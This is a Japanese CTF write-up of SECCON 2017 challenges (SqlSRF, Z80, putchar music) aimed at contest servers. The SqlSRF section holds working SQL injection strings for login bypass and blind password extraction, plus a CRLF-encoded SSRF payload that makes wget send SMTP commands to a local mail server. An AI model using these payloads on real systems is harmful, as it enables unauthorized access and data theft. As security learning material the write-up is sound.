#SECCON2017 Writeup
この記事はIS17erアドベントカレンダー10日目の記事として書かれたものです。
12/9 - 12/10の期間にSECCONという大会があったのでTSGのメンバーとして出場しました。それまでCTFは自分でちょっとだけやったことがあったので雰囲気は知っていましたが、大会に出場するの初めてでした。
カレンダーが全然埋まらないので前半と後半に分けました。前半の続きとなります。
Writeup
SqlSRF
同じチームのliesegang氏がすでにwriteupを書いていたので詳しく見たい人はそちらを参照してください。
いかにもSQLインジェクションとCSRFの融合問題っぽいですね。
ページを開くと次のようになっています。
ログインしろいうことですね。とりあえず、cgi
のコードが公開されているので読みます。
#!/usr/bin/perl
use CGI;
my $q = new CGI;
use CGI::Session;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M'); require './.htcrypt.pl';
my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
[
$q->cookie(-name=>'CGISESSID', -value=>$s->id),
($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
]),
$q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');
$user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');
重要部分のみを取り出しました。よく見ると
$q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M'
$user = &decrypt($q->cookie('remember'))
とあります。つまり、cookieはユーザ名を暗号化したものとして生成され、逆にユーザ名はcookieを復号化して得られます(リロード時にフォームのユーザ名部分が自動で入力されているのはこのためです)。
コードを読むとパスワードも同じアルゴリズムで暗号化されていることがわかります。つまり、暗号化されたパスワードを入手し、ユーザ名に相当するブラウザのcookieをそれに書き換えてリロードすれば、フォームに復号されたパスワードがユーザ名として表示されるはずです。
とりあえずadminのパスワードがほしくなったのでSQLインジェクションをします。
"SELECT password FROM users WHERE username='".$q->param('user')."';"
で暗号化されたパスワードをとってきて、入力したパスワードを暗号化したものと一致するかを調べています。
とりあえず、ログインを成功させるために、ユーザ名にapple
といれ、Remember Meにチェックをいれ、生成されるcookieを調べます。そうすると132e8a875acb8357c33c12058d5f2ee3
だとわかります。
上に述べた原理によりユーザ名を' UNION SELECT '132e8a875acb8357c33c12058d5f2ee3'; --
にし、パスワードをapple
にすることでログインが可能です。
しかし、今知りたいのはadminのパスワードであり、それを一文字ずつ比較していくことによって特定しました。アルゴリズムは以下のようになります。
ユーザ名に次のような文字列を入れることを想定します。
' union select '132e8a875acb8357c33c12058d5f2ee3' from users where username = 'admin' AND password='{}' limit 1 -- a".format(test)
testに入れる文字を1文字ずつ増やしていき、特定していきます。スクリプトはliesegang氏が書いたのでここでは省略します。上にリンクした彼の記事を見てください。
調べていくとパスワードは、d2f37e101c0e76bcc90b5634a5510f63fffffffffffff...
より大きいということがわかるので、d2f37e101c0e76bcc90b5634a5510f64
が暗号化されたパスワードであることがわかります。これをcookieにして、再読込するとユーザ名がYes!Kusomon!!
となり、これがadminのパスワードであることがわかりました。
さて、adminでログインすると次のようなページになります。
wgetコマンドを走らせることができます。フォームの部分は、サーバー側でかなり厳しいチェックが走らされており、たとえば、うまく区切ってwgetコマンド以外のコマンドを走らせることなどはできませんでした。
wget --debugをすると、DEBUG output created by Wget 1.14 on linux-gnu.
であることがわかるので、はじめ、wgetの脆弱性を疑いました。そうすると1.19以前のwgetに任意のコードを実行できる脆弱性があることはわかりましたが、難易度が高すぎるので、1時間ぐらい考えたあと別の方法を模索しました。
よくwgetの出力を読んでみると次のような箇所があることに気づきます。
URI encoding = 'ANSI_X3.4-1968'
Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)
この場合、index.html
からindex.html
に変換されていますが、明らかに怪しいです(そもそも、変換する必要ないし)。
なので、うまいことUTF-8文字列を入れると、いい感じのANSIに変換されるのではないかと考えました。
ググってみるとすごいそれらしいものがありました。
この前に、netstat -tnl
の結果から、このサーバー上の25番ポートでstmpサーバー動いており、そこにメールを送ることでフラグが送られてくることがわかっていたので、このwgetコマンドに渡すURLにうまくstmpリクエストを埋め込むことを考えました。
このページをみると、stmpリクエストをurlencodeして送信している事例がありました。
127.0.0.1%0D%0AHELO%20sqlsrf.pwn.seccon.jp%0D%0AMAIL%20FROM%3A%3Csample%40example.com%3E%0D%0ARCPT%20TO%3A%3Croot%40ymzk01.pwn%3E%0D%0ADATA%0D%0ASubject%3A%20give%20me%20flag%0D%0A%0D%0A%0D%0A.%0D%0AQUIT%0D%0A:25
をフォームにいれ、wgetを実行します。sample@example.com
は自分のアドレスに変えてください。
次のようなメールが届きます。
Encrypted-FLAG: 37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19
cookieを使う方法で同様に復号化するとSECCON{SSRFisMyFriend!}
を獲得できます。
Z80
一つ目のファイルはArduinoのファイルです。二つ目のファイルを展開すると次のような大量のJPEGファイルが得られました。
はい、そうです。画像から配線を特定します。多分大会一のドカタ作業だったと思います。配布されるArduinoのファイル名がBuggyCpuBoardだったことから、おそらくファイル内に定義されている配線とボードの配線が一致していなく、バグが発生するのだと予想しました。
基盤の上をよく見ると、SECCONというシールが貼られていて型番が隠されていますが、問題のタイトルであるZ80から推測して絞り込むとTOSHIBAが出しているTMPZ84C00AM-6というZ80シリーズのCPUであることがわかりました。
配線の特定は、コードのよじれや、ピントがあっていないこと、さらには一部の配線は完全に隠れており消去法でしか決まらないことなどがあって困難を極めました。結果を知っているからこそ言えるのですが、全部の配線について調べる必要は実はなく、Arduinoの奇数ポートと偶数ポートに注目すれば一箇所だけ、単色のコードと二色のコードが入れ替わっているところがあるのでそこに気づけた人は作業が大幅に減ったと思います。
Arduinoの配線部分と比較すると次のようなdiffが見つかりました。
-unsigned D0=22;
-unsigned D1=23;
+unsigned D0=23;
+unsigned D1=22;
-unsigned MREQ=52;
-unsigned IORQ=53;
+unsigned MREQ=53;
+unsigned IORQ=52;
一行目だったし、完全にファイル側から確かめていくべきでしたね・・・
Arduinoファイルを読むと、どうやらこのCPUはメモリを持っていないらしく、計算はCPU部分で行われるものの、メモリはArduinoの内部に保存されることがわかりました。Arduinoコードは、HALTになるまで繰り返し実行されるらしいので、終了時のメモリ状態がフラグになっているのではないかと予測しました。Z80シミュレータを適当に探してきて、Arduinoコードからアセンブリを生成します。
LD HL,0047h
LD A,53h ; 'S'
LD (HL),A
INC HL
LD A,46h ; 'F'
LD (HL),A
INC HL
LD A,43h ; 'C'
LD (HL),A
INC HL
LD (HL),A
INC HL
ADD A,0Ch
LD (HL),A
INC HL
ADD A,0FEh
LD (HL),A
INC HL
LD A,7Bh ; '{'
LD (HL),A
INC HL
L001D: LD A,(L0044)
LD B,A
ADD A,45h ; 'E'
LD (L0044),A
LD A,B
LD (L0045),A
CP 21h ; '!'
JP M,L001D
CP 7Bh ; '{'
JP P,L001D
LD (HL),A
INC HL
LD A,(L0046)
DEC A
LD (L0046),A
JP NZ,L001D
LD A,7Eh ; '~'
LD (HL),A
HALT
L0044: INC BC
L0045: DEC BC
L0046: LD A,(BC)
これをHALT
状態になるまで実行し続けます。終了時のメモリ状態は次のようになりました。
0000: 21 47 00 3E 53 77 23 3E 46 77 23 3E 43 77 23 77 | !G.>Sw#>Fw#>Cw#w
0010: 23 C6 0C 77 23 C6 FE 77 23 3E 7B 77 23 3A 44 00 | #..w#..w#>{w#:D.
0020: 47 C6 45 32 44 00 78 32 45 00 FE 21 FA 1D 00 FE | G.E2D.x2E..!....
0030: 7B F2 1D 00 77 23 3A 46 00 3D 32 46 00 C2 1D 00 | {...w#:F.=2F....
0040: 3E 7E 77 76 8F 4A 00 53 46 43 43 4F 4D 7B 48 5C | >~wv.J.SFCCOM{H\
0050: 2B 70 3F 53 22 67 36 4A 7E 00 00 00 00 00 00 00 | +p?S"g6J~.......
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
SECCON{H\+p?S!g5I}
を獲得しました(終盤の作業はhakatashiさんがやってくれたので何を使ったかはよく把握していなく、説明がけっこう雑です)。
おまけ
putchar music
@_homosky「どうせスターウォーズやろ」
SECCON{STAR_WARS}